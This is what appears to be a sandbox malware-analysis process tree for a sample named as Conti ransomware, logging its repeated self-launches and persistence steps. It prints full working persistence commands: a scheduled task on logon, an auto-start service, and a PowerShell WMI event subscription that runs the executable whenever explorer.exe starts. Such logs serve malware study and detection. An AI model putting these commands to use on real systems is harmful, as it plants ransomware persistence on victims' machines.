        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8852
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:10016
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:10112
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:2140
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:9756
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:10328
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:11256
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10476
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:20040
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:20264
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:4632
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:9176
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:4504
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:9528
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:12880
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:14196
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14876
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:1012
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:12932
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:14136
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:12264
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:1456
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:2160
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:20416
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:14528
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:12632
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:16512
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:16824
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:5352
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:9240
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:17244
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:3532
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  - Drops startup file
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:4600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1532
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:2128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
    3⤵
    PID:6124
  - - C:\Windows\system32\sc.exe
      sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:3920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
    3⤵
    PID:2472
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2060
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:2712
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:4424
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:4264
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:3180
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:5328
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:3612
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2580
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:8516
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:6140
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:13216
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:11884
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:12976
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:16124
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:3540
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:10376
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:10304
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:14588
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:10476
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:13212
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:12480
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:16368
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:19096
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:18960
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:19120
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:7288
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:7344
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:8028
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:7500
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:8080
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:7460
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8792
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:9080
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:15216
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:8064
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:17696
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:18088
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:19716
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:4972
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:9396
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:9488
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:9260
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:9112
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:9972
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:10652
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
